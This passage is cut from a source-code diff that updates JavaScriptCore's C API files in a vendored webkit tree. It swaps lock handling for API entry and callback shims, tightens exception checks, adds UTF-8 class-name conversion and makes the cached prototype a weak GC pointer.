-        void* privateData;
-        JSClassRef jsClass;
-    };
-    
+    static JSValue staticValueGetter(ExecState*, JSValue, const Identifier&);
+    static JSValue staticFunctionGetter(ExecState*, JSValue, const Identifier&);
+    static JSValue callbackGetter(ExecState*, JSValue, const Identifier&);
+
     OwnPtr<JSCallbackObjectData> m_callbackObjectData;
 };
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/API/JSCallbackObjectFunctions.h b/src/3rdparty/webkit/JavaScriptCore/API/JSCallbackObjectFunctions.h
index 9b726e8..6c83eb4 100644
--- a/src/3rdparty/webkit/JavaScriptCore/API/JSCallbackObjectFunctions.h
+++ b/src/3rdparty/webkit/JavaScriptCore/API/JSCallbackObjectFunctions.h
@@ -24,6 +24,7 @@
  * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
  */
 
+#include "APIShims.h"
 #include "APICast.h"
 #include "Error.h"
 #include "JSCallbackFunction.h"
@@ -79,7 +80,7 @@ void JSCallbackObject<Base>::init(ExecState* exec)
     
     // initialize from base to derived
     for (int i = static_cast<int>(initRoutines.size()) - 1; i >= 0; i--) {
-        JSLock::DropAllLocks dropAllLocks(exec);
+        APICallbackShim callbackShim(exec);
         JSObjectInitializeCallback initialize = initRoutines[i];
         initialize(toRef(exec), toRef(this));
     }
@@ -117,7 +118,7 @@ bool JSCallbackObject<Base>::getOwnPropertySlot(ExecState* exec, const Identifie
         if (JSObjectHasPropertyCallback hasProperty = jsClass->hasProperty) {
             if (!propertyNameRef)
                 propertyNameRef = OpaqueJSString::create(propertyName.ustring());
-            JSLock::DropAllLocks dropAllLocks(exec);
+            APICallbackShim callbackShim(exec);
             if (hasProperty(ctx, thisRef, propertyNameRef.get())) {
                 slot.setCustom(this, callbackGetter);
                 return true;
@@ -128,18 +129,18 @@ bool JSCallbackObject<Base>::getOwnPropertySlot(ExecState* exec, const Identifie
             JSValueRef exception = 0;
             JSValueRef value;
             {
-                JSLock::DropAllLocks dropAllLocks(exec);
+                APICallbackShim callbackShim(exec);
                 value = getProperty(ctx, thisRef, propertyNameRef.get(), &exception);
             }
-            exec->setException(toJS(exec, exception));
-            if (value) {
-                slot.setValue(toJS(exec, value));
-                return true;
-            }
             if (exception) {
+                exec->setException(toJS(exec, exception));
                 slot.setValue(jsUndefined());
                 return true;
             }
+            if (value) {
+                slot.setValue(toJS(exec, value));
+                return true;
+            }
         }
         
         if (OpaqueJSClassStaticValuesTable* staticValues = jsClass->staticValues(exec)) {
@@ -167,6 +168,25 @@ bool JSCallbackObject<Base>::getOwnPropertySlot(ExecState* exec, unsigned proper
 }
 
 template <class Base>
+bool JSCallbackObject<Base>::getOwnPropertyDescriptor(ExecState* exec, const Identifier& propertyName, PropertyDescriptor& descriptor)
+{
+    PropertySlot slot;
+    if (getOwnPropertySlot(exec, propertyName, slot)) {
+        // Ideally we should return an access descriptor, but returning a value descriptor is better than nothing.
+        JSValue value = slot.getValue(exec, propertyName);
+        if (!exec->hadException())
+            descriptor.setValue(value);
+        // We don't know whether the property is configurable, but assume it is.
+        descriptor.setConfigurable(true);
+        // We don't know whether the property is enumerable (we could call getOwnPropertyNames() to find out), but assume it isn't.
+        descriptor.setEnumerable(false);
+        return true;
+    }
+
+    return Base::getOwnPropertyDescriptor(exec, propertyName, descriptor);
+}
+
+template <class Base>
 void JSCallbackObject<Base>::put(ExecState* exec, const Identifier& propertyName, JSValue value, PutPropertySlot& slot)
 {
     JSContextRef ctx = toRef(exec);
@@ -181,10 +201,11 @@ void JSCallbackObject<Base>::put(ExecState* exec, const Identifier& propertyName
             JSValueRef exception = 0;
             bool result;
             {
-                JSLock::DropAllLocks dropAllLocks(exec);
+                APICallbackShim callbackShim(exec);
                 result = setProperty(ctx, thisRef, propertyNameRef.get(), valueRef, &exception);
             }
-            exec->setException(toJS(exec, exception));
+            if (exception)
+                exec->setException(toJS(exec, exception));
             if (result || exception)
                 return;
         }
@@ -199,10 +220,11 @@ void JSCallbackObject<Base>::put(ExecState* exec, const Identifier& propertyName
                     JSValueRef exception = 0;
                     bool result;
                     {
-                        JSLock::DropAllLocks dropAllLocks(exec);
+                        APICallbackShim callbackShim(exec);
                         result = setProperty(ctx, thisRef, propertyNameRef.get(), valueRef, &exception);
                     }
-                    exec->setException(toJS(exec, exception));
+                    if (exception)
+                        exec->setException(toJS(exec, exception));
                     if (result || exception)
                         return;
                 } else
@@ -237,10 +259,11 @@ bool JSCallbackObject<Base>::deleteProperty(ExecState* exec, const Identifier& p
             JSValueRef exception = 0;
             bool result;
             {
-                JSLock::DropAllLocks dropAllLocks(exec);
+                APICallbackShim callbackShim(exec);
                 result = deleteProperty(ctx, thisRef, propertyNameRef.get(), &exception);
             }
-            exec->setException(toJS(exec, exception));
+            if (exception)
+                exec->setException(toJS(exec, exception));
             if (result || exception)
                 return true;
         }
@@ -298,10 +321,11 @@ JSObject* JSCallbackObject<Base>::construct(ExecState* exec, JSObject* construct
             JSValueRef exception = 0;
             JSObject* result;
             {
-                JSLock::DropAllLocks dropAllLocks(exec);
+                APICallbackShim callbackShim(exec);
                 result = toJS(callAsConstructor(execRef, constructorRef, argumentCount, arguments.data(), &exception));
             }
-            exec->setException(toJS(exec, exception));
+            if (exception)
+                exec->setException(toJS(exec, exception));
             return result;
         }
     }
@@ -322,10 +346,11 @@ bool JSCallbackObject<Base>::hasInstance(ExecState* exec, JSValue value, JSValue
             JSValueRef exception = 0;
             bool result;
             {
-                JSLock::DropAllLocks dropAllLocks(exec);
+                APICallbackShim callbackShim(exec);
                 result = hasInstance(execRef, thisRef, valueRef, &exception);
             }
-            exec->setException(toJS(exec, exception));
+            if (exception)
+                exec->setException(toJS(exec, exception));
             return result;
         }
     }
@@ -360,10 +385,11 @@ JSValue JSCallbackObject<Base>::call(ExecState* exec, JSObject* functionObject,
             JSValueRef exception = 0;
             JSValue result;
             {
-                JSLock::DropAllLocks dropAllLocks(exec);
+                APICallbackShim callbackShim(exec);
                 result = toJS(exec, callAsFunction(execRef, functionRef, thisObjRef, argumentCount, arguments.data(), &exception));
             }
-            exec->setException(toJS(exec, exception));
+            if (exception)
+                exec->setException(toJS(exec, exception));
             return result;
         }
     }
@@ -373,14 +399,14 @@ JSValue JSCallbackObject<Base>::call(ExecState* exec, JSObject* functionObject,
 }
 
 template <class Base>
-void JSCallbackObject<Base>::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames)
+void JSCallbackObject<Base>::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames, EnumerationMode mode)
 {
     JSContextRef execRef = toRef(exec);
     JSObjectRef thisRef = toRef(this);
     
     for (JSClassRef jsClass = classRef(); jsClass; jsClass = jsClass->parentClass) {
         if (JSObjectGetPropertyNamesCallback getPropertyNames = jsClass->getPropertyNames) {
-            JSLock::DropAllLocks dropAllLocks(exec);
+            APICallbackShim callbackShim(exec);
             getPropertyNames(execRef, thisRef, toRef(&propertyNames));
         }
         
@@ -390,7 +416,7 @@ void JSCallbackObject<Base>::getOwnPropertyNames(ExecState* exec, PropertyNameAr
             for (iterator it = staticValues->begin(); it != end; ++it) {
                 UString::Rep* name = it->first.get();
                 StaticValueEntry* entry = it->second;
-                if (entry->getProperty && !(entry->attributes & kJSPropertyAttributeDontEnum))
+                if (entry->getProperty && (!(entry->attributes & kJSPropertyAttributeDontEnum) || (mode == IncludeDontEnumProperties)))
                     propertyNames.add(Identifier(exec, name));
             }
         }
@@ -401,13 +427,13 @@ void JSCallbackObject<Base>::getOwnPropertyNames(ExecState* exec, PropertyNameAr
             for (iterator it = staticFunctions->begin(); it != end; ++it) {
                 UString::Rep* name = it->first.get();
                 StaticFunctionEntry* entry = it->second;
-                if (!(entry->attributes & kJSPropertyAttributeDontEnum))
+                if (!(entry->attributes & kJSPropertyAttributeDontEnum) || (mode == IncludeDontEnumProperties))
                     propertyNames.add(Identifier(exec, name));
             }
         }
     }
     
-    Base::getOwnPropertyNames(exec, propertyNames);
+    Base::getOwnPropertyNames(exec, propertyNames, mode);
 }
 
 template <class Base>
@@ -426,7 +452,7 @@ double JSCallbackObject<Base>::toNumber(ExecState* exec) const
             JSValueRef exception = 0;
             JSValueRef value;
             {
-                JSLock::DropAllLocks dropAllLocks(exec);
+                APICallbackShim callbackShim(exec);
                 value = convertToType(ctx, thisRef, kJSTypeNumber, &exception);
             }
             if (exception) {
@@ -435,7 +461,8 @@ double JSCallbackObject<Base>::toNumber(ExecState* exec) const
             }
 
             double dValue;
-            return toJS(exec, value).getNumber(dValue) ? dValue : NaN;
+            if (value)
+                return toJS(exec, value).getNumber(dValue) ? dValue : NaN;
         }
             
     return Base::toNumber(exec);
@@ -452,14 +479,15 @@ UString JSCallbackObject<Base>::toString(ExecState* exec) const
             JSValueRef exception = 0;
             JSValueRef value;
             {
-                JSLock::DropAllLocks dropAllLocks(exec);
+                APICallbackShim callbackShim(exec);
                 value = convertToType(ctx, thisRef, kJSTypeString, &exception);
             }
             if (exception) {
                 exec->setException(toJS(exec, exception));
                 return "";
             }
-            return toJS(exec, value).getString();
+            if (value)
+                return toJS(exec, value).getString(exec);
         }
             
     return Base::toString(exec);
@@ -488,9 +516,9 @@ bool JSCallbackObject<Base>::inherits(JSClassRef c) const
 }
 
 template <class Base>
-JSValue JSCallbackObject<Base>::staticValueGetter(ExecState* exec, const Identifier& propertyName, const PropertySlot& slot)
+JSValue JSCallbackObject<Base>::staticValueGetter(ExecState* exec, JSValue slotBase, const Identifier& propertyName)
 {
-    JSCallbackObject* thisObj = asCallbackObject(slot.slotBase());
+    JSCallbackObject* thisObj = asCallbackObject(slotBase);
     
     JSObjectRef thisRef = toRef(thisObj);
     RefPtr<OpaqueJSString> propertyNameRef;
@@ -504,23 +532,24 @@ JSValue JSCallbackObject<Base>::staticValueGetter(ExecState* exec, const Identif
                     JSValueRef exception = 0;
                     JSValueRef value;
                     {
-                        JSLock::DropAllLocks dropAllLocks(exec);
+                        APICallbackShim callbackShim(exec);
                         value = getProperty(toRef(exec), thisRef, propertyNameRef.get(), &exception);
                     }
-                    exec->setException(toJS(exec, exception));
+                    if (exception) {
+                        exec->setException(toJS(exec, exception));
+                        return jsUndefined();
+                    }
                     if (value)
                         return toJS(exec, value);
-                    if (exception)
-                        return jsUndefined();
                 }
-                    
+
     return throwError(exec, ReferenceError, "Static value property defined with NULL getProperty callback.");
 }
 
 template <class Base>
-JSValue JSCallbackObject<Base>::staticFunctionGetter(ExecState* exec, const Identifier& propertyName, const PropertySlot& slot)
+JSValue JSCallbackObject<Base>::staticFunctionGetter(ExecState* exec, JSValue slotBase, const Identifier& propertyName)
 {
-    JSCallbackObject* thisObj = asCallbackObject(slot.slotBase());
+    JSCallbackObject* thisObj = asCallbackObject(slotBase);
     
     // Check for cached or override property.
     PropertySlot slot2(thisObj);
@@ -543,9 +572,9 @@ JSValue JSCallbackObject<Base>::staticFunctionGetter(ExecState* exec, const Iden
 }
 
 template <class Base>
-JSValue JSCallbackObject<Base>::callbackGetter(ExecState* exec, const Identifier& propertyName, const PropertySlot& slot)
+JSValue JSCallbackObject<Base>::callbackGetter(ExecState* exec, JSValue slotBase, const Identifier& propertyName)
 {
-    JSCallbackObject* thisObj = asCallbackObject(slot.slotBase());
+    JSCallbackObject* thisObj = asCallbackObject(slotBase);
     
     JSObjectRef thisRef = toRef(thisObj);
     RefPtr<OpaqueJSString> propertyNameRef;
@@ -557,14 +586,15 @@ JSValue JSCallbackObject<Base>::callbackGetter(ExecState* exec, const Identifier
             JSValueRef exception = 0;
             JSValueRef value;
             {
-                JSLock::DropAllLocks dropAllLocks(exec);
+                APICallbackShim callbackShim(exec);
                 value = getProperty(toRef(exec), thisRef, propertyNameRef.get(), &exception);
             }
-            exec->setException(toJS(exec, exception));
+            if (exception) {
+                exec->setException(toJS(exec, exception));
+                return jsUndefined();
+            }
             if (value)
                 return toJS(exec, value);
-            if (exception)
-                return jsUndefined();
         }
             
     return throwError(exec, ReferenceError, "hasProperty callback returned true for a property that doesn't exist.");
diff --git a/src/3rdparty/webkit/JavaScriptCore/API/JSClassRef.cpp b/src/3rdparty/webkit/JavaScriptCore/API/JSClassRef.cpp
index 3785bab..3c2133d 100644
--- a/src/3rdparty/webkit/JavaScriptCore/API/JSClassRef.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/API/JSClassRef.cpp
@@ -33,11 +33,28 @@
 #include <runtime/JSGlobalObject.h>
 #include <runtime/ObjectPrototype.h>
 #include <runtime/Identifier.h>
+#include <wtf/unicode/UTF8.h>
 
+using namespace std;
 using namespace JSC;
+using namespace WTF::Unicode;
 
 const JSClassDefinition kJSClassDefinitionEmpty = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
 
+static inline UString tryCreateStringFromUTF8(const char* string)
+{
+    if (!string)
+        return UString::null();
+
+    size_t length = strlen(string);
+    Vector<UChar, 1024> buffer(length);
+    UChar* p = buffer.data();
+    if (conversionOK != convertUTF8ToUTF16(&string, string + length, &p, p + length))
+        return UString::null();
+
+    return UString(buffer.data(), p - buffer.data());
+}
+
 OpaqueJSClass::OpaqueJSClass(const JSClassDefinition* definition, OpaqueJSClass* protoClass) 
     : parentClass(definition->parentClass)
     , prototypeClass(0)
@@ -52,7 +69,7 @@ OpaqueJSClass::OpaqueJSClass(const JSClassDefinition* definition, OpaqueJSClass*
     , callAsConstructor(definition->callAsConstructor)
     , hasInstance(definition->hasInstance)
     , convertToType(definition->convertToType)
-    , m_className(UString::Rep::createFromUTF8(definition->className))
+    , m_className(tryCreateStringFromUTF8(definition->className))
     , m_staticValues(0)
     , m_staticFunctions(0)
 {
@@ -61,8 +78,14 @@ OpaqueJSClass::OpaqueJSClass(const JSClassDefinition* definition, OpaqueJSClass*
     if (const JSStaticValue* staticValue = definition->staticValues) {
         m_staticValues = new OpaqueJSClassStaticValuesTable();
         while (staticValue->name) {
-            StaticValueEntry* e = new StaticValueEntry(staticValue->getProperty, staticValue->setProperty, staticValue->attributes);
-            m_staticValues->add(UString::Rep::createFromUTF8(staticValue->name), e);
+            UString valueName = tryCreateStringFromUTF8(staticValue->name);
+            if (!valueName.isNull()) {
+                // Use a local variable here to sidestep an RVCT compiler bug.
+                StaticValueEntry* entry = new StaticValueEntry(staticValue->getProperty, staticValue->setProperty, staticValue->attributes);
+                UStringImpl* impl = valueName.rep();
+                impl->ref();
+                m_staticValues->add(impl, entry);
+            }
             ++staticValue;
         }
     }
@@ -70,8 +93,14 @@ OpaqueJSClass::OpaqueJSClass(const JSClassDefinition* definition, OpaqueJSClass*
     if (const JSStaticFunction* staticFunction = definition->staticFunctions) {
         m_staticFunctions = new OpaqueJSClassStaticFunctionsTable();
         while (staticFunction->name) {
-            StaticFunctionEntry* e = new StaticFunctionEntry(staticFunction->callAsFunction, staticFunction->attributes);
-            m_staticFunctions->add(UString::Rep::createFromUTF8(staticFunction->name), e);
+            UString functionName = tryCreateStringFromUTF8(staticFunction->name);
+            if (!functionName.isNull()) {
+                // Use a local variable here to sidestep an RVCT compiler bug.
+                StaticFunctionEntry* entry = new StaticFunctionEntry(staticFunction->callAsFunction, staticFunction->attributes);
+                UStringImpl* impl = functionName.rep();
+                impl->ref();
+                m_staticFunctions->add(impl, entry);
+            }
             ++staticFunction;
         }
     }
@@ -82,12 +111,13 @@ OpaqueJSClass::OpaqueJSClass(const JSClassDefinition* definition, OpaqueJSClass*
 
 OpaqueJSClass::~OpaqueJSClass()
 {
-    ASSERT(!m_className.rep()->identifierTable());
+    // The empty string is shared across threads & is an identifier, in all other cases we should have done a deep copy in className(), below. 
+    ASSERT(!m_className.size() || !m_className.rep()->isIdentifier());
 
     if (m_staticValues) {
         OpaqueJSClassStaticValuesTable::const_iterator end = m_staticValues->end();
         for (OpaqueJSClassStaticValuesTable::const_iterator it = m_staticValues->begin(); it != end; ++it) {
-            ASSERT(!it->first->identifierTable());
+            ASSERT(!it->first->isIdentifier());
             delete it->second;
         }
         delete m_staticValues;
@@ -96,7 +126,7 @@ OpaqueJSClass::~OpaqueJSClass()
     if (m_staticFunctions) {
         OpaqueJSClassStaticFunctionsTable::const_iterator end = m_staticFunctions->end();
         for (OpaqueJSClassStaticFunctionsTable::const_iterator it = m_staticFunctions->begin(); it != end; ++it) {
-            ASSERT(!it->first->identifierTable());
+            ASSERT(!it->first->isIdentifier());
             delete it->second;
         }
         delete m_staticFunctions;
@@ -115,56 +145,46 @@ static void clearReferenceToPrototype(JSObjectRef prototype)
 {
     OpaqueJSClassContextData* jsClassData = static_cast<OpaqueJSClassContextData*>(JSObjectGetPrivate(prototype));
     ASSERT(jsClassData);
-    jsClassData->cachedPrototype = 0;
+    jsClassData->cachedPrototype.clear(toJS(prototype));
 }
 
-PassRefPtr<OpaqueJSClass> OpaqueJSClass::create(const JSClassDefinition* definition)
+PassRefPtr<OpaqueJSClass> OpaqueJSClass::create(const JSClassDefinition* clientDefinition)
 {
-    if (const JSStaticFunction* staticFunctions = definition->staticFunctions) {
-        // copy functions into a prototype class
-        JSClassDefinition protoDefinition = kJSClassDefinitionEmpty;
-        protoDefinition.staticFunctions = staticFunctions;
-        protoDefinition.finalize = clearReferenceToPrototype;
-        
-        // We are supposed to use JSClassRetain/Release but since we know that we currently have
-        // the only reference to this class object we cheat and use a RefPtr instead.
-        RefPtr<OpaqueJSClass> protoClass = adoptRef(new OpaqueJSClass(&protoDefinition, 0));
-
-        // remove functions from the original class
-        JSClassDefinition objectDefinition = *definition;
-        objectDefinition.staticFunctions = 0;
+    JSClassDefinition definition = *clientDefinition; // Avoid modifying client copy.
 
-        return adoptRef(new OpaqueJSClass(&objectDefinition, protoClass.get()));
-    }
-
-    return adoptRef(new OpaqueJSClass(definition, 0));
+    JSClassDefinition protoDefinition = kJSClassDefinitionEmpty;
+    protoDefinition.finalize = clearReferenceToPrototype;
+    swap(definition.staticFunctions, protoDefinition.staticFunctions); // Move static functions to the prototype.
+    
+    // We are supposed to use JSClassRetain/Release but since we know that we currently have
+    // the only reference to this class object we cheat and use a RefPtr instead.
+    RefPtr<OpaqueJSClass> protoClass = adoptRef(new OpaqueJSClass(&protoDefinition, 0));
+    return adoptRef(new OpaqueJSClass(&definition, protoClass.get()));
 }
 
 OpaqueJSClassContextData::OpaqueJSClassContextData(OpaqueJSClass* jsClass)
     : m_class(jsClass)
-    , cachedPrototype(0)
 {
     if (jsClass->m_staticValues) {
         staticValues = new OpaqueJSClassStaticValuesTable;
         OpaqueJSClassStaticValuesTable::const_iterator end = jsClass->m_staticValues->end();
         for (OpaqueJSClassStaticValuesTable::const_iterator it = jsClass->m_staticValues->begin(); it != end; ++it) {
-            ASSERT(!it->first->identifierTable());
-            StaticValueEntry* e = new StaticValueEntry(it->second->getProperty, it->second->setProperty, it->second->attributes);
-            staticValues->add(UString::Rep::createCopying(it->first->data(), it->first->size()), e);
-
+            ASSERT(!it->first->isIdentifier());
+            // Use a local variable here to sidestep an RVCT compiler bug.
+            StaticValueEntry* entry = new StaticValueEntry(it->second->getProperty, it->second->setProperty, it->second->attributes);
+            staticValues->add(UString::Rep::create(it->first->characters(), it->first->length()), entry);
         }
-            
     } else
         staticValues = 0;
-        
 
     if (jsClass->m_staticFunctions) {
         staticFunctions = new OpaqueJSClassStaticFunctionsTable;
         OpaqueJSClassStaticFunctionsTable::const_iterator end = jsClass->m_staticFunctions->end();
         for (OpaqueJSClassStaticFunctionsTable::const_iterator it = jsClass->m_staticFunctions->begin(); it != end; ++it) {
-            ASSERT(!it->first->identifierTable());
-            StaticFunctionEntry* e = new StaticFunctionEntry(it->second->callAsFunction, it->second->attributes);
-            staticFunctions->add(UString::Rep::createCopying(it->first->data(), it->first->size()), e);
+            ASSERT(!it->first->isIdentifier());
+            // Use a local variable here to sidestep an RVCT compiler bug.
+            StaticFunctionEntry* entry = new StaticFunctionEntry(it->second->callAsFunction, it->second->attributes);
+            staticFunctions->add(UString::Rep::create(it->first->characters(), it->first->length()), entry);
         }
             
     } else
@@ -241,5 +261,5 @@ JSObject* OpaqueJSClass::prototype(ExecState* exec)
                 jsClassData.cachedPrototype->setPrototype(prototype);
         }
     }
-    return jsClassData.cachedPrototype;
+    return jsClassData.cachedPrototype.get();
 }
diff --git a/src/3rdparty/webkit/JavaScriptCore/API/JSClassRef.h b/src/3rdparty/webkit/JavaScriptCore/API/JSClassRef.h
index c4777dd..ae60aad 100644
--- a/src/3rdparty/webkit/JavaScriptCore/API/JSClassRef.h
+++ b/src/3rdparty/webkit/JavaScriptCore/API/JSClassRef.h
@@ -31,6 +31,7 @@
 #include <runtime/JSObject.h>
 #include <runtime/Protect.h>
 #include <runtime/UString.h>
+#include <runtime/WeakGCPtr.h>
 #include <wtf/HashMap.h>
 #include <wtf/RefCounted.h>
 
@@ -76,7 +77,7 @@ struct OpaqueJSClassContextData : Noncopyable {
 
     OpaqueJSClassStaticValuesTable* staticValues;
     OpaqueJSClassStaticFunctionsTable* staticFunctions;
-    JSC::JSObject* cachedPrototype;
+    JSC::WeakGCPtr<JSC::JSObject> cachedPrototype;
 };
 
 struct OpaqueJSClass : public ThreadSafeShared<OpaqueJSClass> {
diff --git a/src/3rdparty/webkit/JavaScriptCore/API/JSContextRef.cpp b/src/3rdparty/webkit/JavaScriptCore/API/JSContextRef.cpp
index e6626b7..9d4f38c 100644
--- a/src/3rdparty/webkit/JavaScriptCore/API/JSContextRef.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/API/JSContextRef.cpp
@@ -33,9 +33,8 @@
 #include "JSClassRef.h"
 #include "JSGlobalObject.h"
 #include "JSObject.h"
-#include <wtf/Platform.h>
 
-#if PLATFORM(DARWIN)
+#if OS(DARWIN)
 #include <mach-o/dyld.h>
 
 static const int32_t webkitFirstVersionWithConcurrentGlobalContexts = 0x2100500; // 528.5.0
@@ -46,7 +45,7 @@ using namespace JSC;
 JSContextGroupRef JSContextGroupCreate()
 {
     initializeThreading();
-    return toRef(JSGlobalData::create().releaseRef());
+    return toRef(JSGlobalData::createNonDefault().releaseRef());
 }
 
 JSContextGroupRef JSContextGroupRetain(JSContextGroupRef group)
@@ -63,7 +62,7 @@ void JSContextGroupRelease(JSContextGroupRef group)
 JSGlobalContextRef JSGlobalContextCreate(JSClassRef globalObjectClass)
 {
     initializeThreading();
-#if PLATFORM(DARWIN)
+#if OS(DARWIN)
     // When running on Tiger or Leopard, or if the application was linked before JSGlobalContextCreate was changed
     // to use a unique JSGlobalData, we use a shared one for compatibility.
 #if !defined(BUILDING_ON_TIGER) && !defined(BUILDING_ON_LEOPARD)
@@ -74,7 +73,7 @@ JSGlobalContextRef JSGlobalContextCreate(JSClassRef globalObjectClass)
         JSLock lock(LockForReal);
         return JSGlobalContextCreateInGroup(toRef(&JSGlobalData::sharedInstance()), globalObjectClass);
     }
-#endif // PLATFORM(DARWIN)
+#endif // OS(DARWIN)
 
     return JSGlobalContextCreateInGroup(0, globalObjectClass);
 }
@@ -84,8 +83,9 @@ JSGlobalContextRef JSGlobalContextCreateInGroup(JSContextGroupRef group, JSClass
     initializeThreading();
 
     JSLock lock(LockForReal);
+    RefPtr<JSGlobalData> globalData = group ? PassRefPtr<JSGlobalData>(toJS(group)) : JSGlobalData::createNonDefault();
 
-    RefPtr<JSGlobalData> globalData = group ? PassRefPtr<JSGlobalData>(toJS(group)) : JSGlobalData::create();
+    APIEntryShim entryShim(globalData.get(), false);
 
 #if ENABLE(JSC_MULTIPLE_THREADS)
     globalData->makeUsableFromMultipleThreads();
@@ -108,12 +108,9 @@ JSGlobalContextRef JSGlobalContextCreateInGroup(JSContextGroupRef group, JSClass
 JSGlobalContextRef JSGlobalContextRetain(JSGlobalContextRef ctx)
 {
     ExecState* exec = toJS(ctx);
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
     JSGlobalData& globalData = exec->globalData();
-
-    globalData.heap.registerThread();
-
     gcProtect(exec->dynamicGlobalObject());
     globalData.ref();
     return ctx;
@@ -124,25 +121,39 @@ void JSGlobalContextRelease(JSGlobalContextRef ctx)
     ExecState* exec = toJS(ctx);
     JSLock lock(exec);
 
-    gcUnprotect(exec->dynamicGlobalObject());
-
     JSGlobalData& globalData = exec->globalData();
-    if (globalData.refCount() == 2) { // One reference is held by JSGlobalObject, another added by JSGlobalContextRetain().
-        // The last reference was released, this is our last chance to collect.
-        ASSERT(!globalData.heap.protectedObjectCount());
-        ASSERT(!globalData.heap.isBusy());
+    JSGlobalObject* dgo = exec->dynamicGlobalObject();
+    IdentifierTable* savedIdentifierTable = setCurrentIdentifierTable(globalData.identifierTable);
+
+    // One reference is held by JSGlobalObject, another added by JSGlobalContextRetain().
+    bool releasingContextGroup = globalData.refCount() == 2;
+    bool releasingGlobalObject = Heap::heap(dgo)->unprotect(dgo);
+    // If this is the last reference to a global data, it should also
+    // be the only remaining reference to the global object too!
+    ASSERT(!releasingContextGroup || releasingGlobalObject);
+
+    // An API 'JSGlobalContextRef' retains two things - a global object and a
+    // global data (or context group, in API terminology).
+    // * If this is the last reference to any contexts in the given context group,
+    //   call destroy on the heap (the global data is being  freed).
+    // * If this was the last reference to the global object, then unprotecting
+    //   it may  release a lot of GC memory - run the garbage collector now.
+    // * If there are more references remaining the the global object, then do nothing
+    //   (specifically that is more protects, which we assume come from other JSGlobalContextRefs).
+    if (releasingContextGroup)
         globalData.heap.destroy();
-    } else
-        globalData.heap.collect();
+    else if (releasingGlobalObject)
+        globalData.heap.collectAllGarbage();
 
     globalData.deref();
+
+    setCurrentIdentifierTable(savedIdentifierTable);
 }
 
 JSObjectRef JSContextGetGlobalObject(JSContextRef ctx)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
     // It is necessary to call toThisObject to get the wrapper object when used with WebCore.
     return toRef(exec->lexicalGlobalObject()->toThisObject(exec));
@@ -157,8 +168,7 @@ JSContextGroupRef JSContextGetGroup(JSContextRef ctx)
 JSGlobalContextRef JSContextGetGlobalContext(JSContextRef ctx)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
     return toGlobalRef(exec->lexicalGlobalObject()->globalExec());
 }
diff --git a/src/3rdparty/webkit/JavaScriptCore/API/JSObjectRef.cpp b/src/3rdparty/webkit/JavaScriptCore/API/JSObjectRef.cpp
index 06ef578..8fdbdab 100644
--- a/src/3rdparty/webkit/JavaScriptCore/API/JSObjectRef.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/API/JSObjectRef.cpp
@@ -26,6 +26,7 @@
 
 #include "config.h"
 #include "JSObjectRef.h"
+#include "JSObjectRefPrivate.h"
 
 #include "APICast.h"
 #include "CodeBlock.h"
@@ -48,7 +49,6 @@
 #include "ObjectPrototype.h"
 #include "PropertyNameArray.h"
 #include "RegExpConstructor.h"
-#include <wtf/Platform.h>
 
 using namespace JSC;
 
@@ -76,8 +76,7 @@ void JSClassRelease(JSClassRef jsClass)
 JSObjectRef JSObjectMake(JSContextRef ctx, JSClassRef jsClass, void* data)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
     if (!jsClass)
         return toRef(new (exec) JSObject(exec->lexicalGlobalObject()->emptyObjectStructure())); // slightly more efficient
@@ -92,8 +91,7 @@ JSObjectRef JSObjectMake(JSContextRef ctx, JSClassRef jsClass, void* data)
 JSObjectRef JSObjectMakeFunctionWithCallback(JSContextRef ctx, JSStringRef name, JSObjectCallAsFunctionCallback callAsFunction)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
     Identifier nameID = name ? name->identifier(&exec->globalData()) : Identifier(exec, "anonymous");
     
@@ -103,8 +101,7 @@ JSObjectRef JSObjectMakeFunctionWithCallback(JSContextRef ctx, JSStringRef name,
 JSObjectRef JSObjectMakeConstructor(JSContextRef ctx, JSClassRef jsClass, JSObjectCallAsConstructorCallback callAsConstructor)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
     JSValue jsPrototype = jsClass ? jsClass->prototype(exec) : 0;
     if (!jsPrototype)
@@ -118,8 +115,7 @@ JSObjectRef JSObjectMakeConstructor(JSContextRef ctx, JSClassRef jsClass, JSObje
 JSObjectRef JSObjectMakeFunction(JSContextRef ctx, JSStringRef name, unsigned parameterCount, const JSStringRef parameterNames[], JSStringRef body, JSStringRef sourceURL, int startingLineNumber, JSValueRef* exception)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
     Identifier nameID = name ? name->identifier(&exec->globalData()) : Identifier(exec, "anonymous");
     
@@ -141,8 +137,7 @@ JSObjectRef JSObjectMakeFunction(JSContextRef ctx, JSStringRef name, unsigned pa
 JSObjectRef JSObjectMakeArray(JSContextRef ctx, size_t argumentCount, const JSValueRef arguments[],  JSValueRef* exception)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
     JSObject* result;
     if (argumentCount) {
@@ -167,8 +162,7 @@ JSObjectRef JSObjectMakeArray(JSContextRef ctx, size_t argumentCount, const JSVa
 JSObjectRef JSObjectMakeDate(JSContextRef ctx, size_t argumentCount, const JSValueRef arguments[],  JSValueRef* exception)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
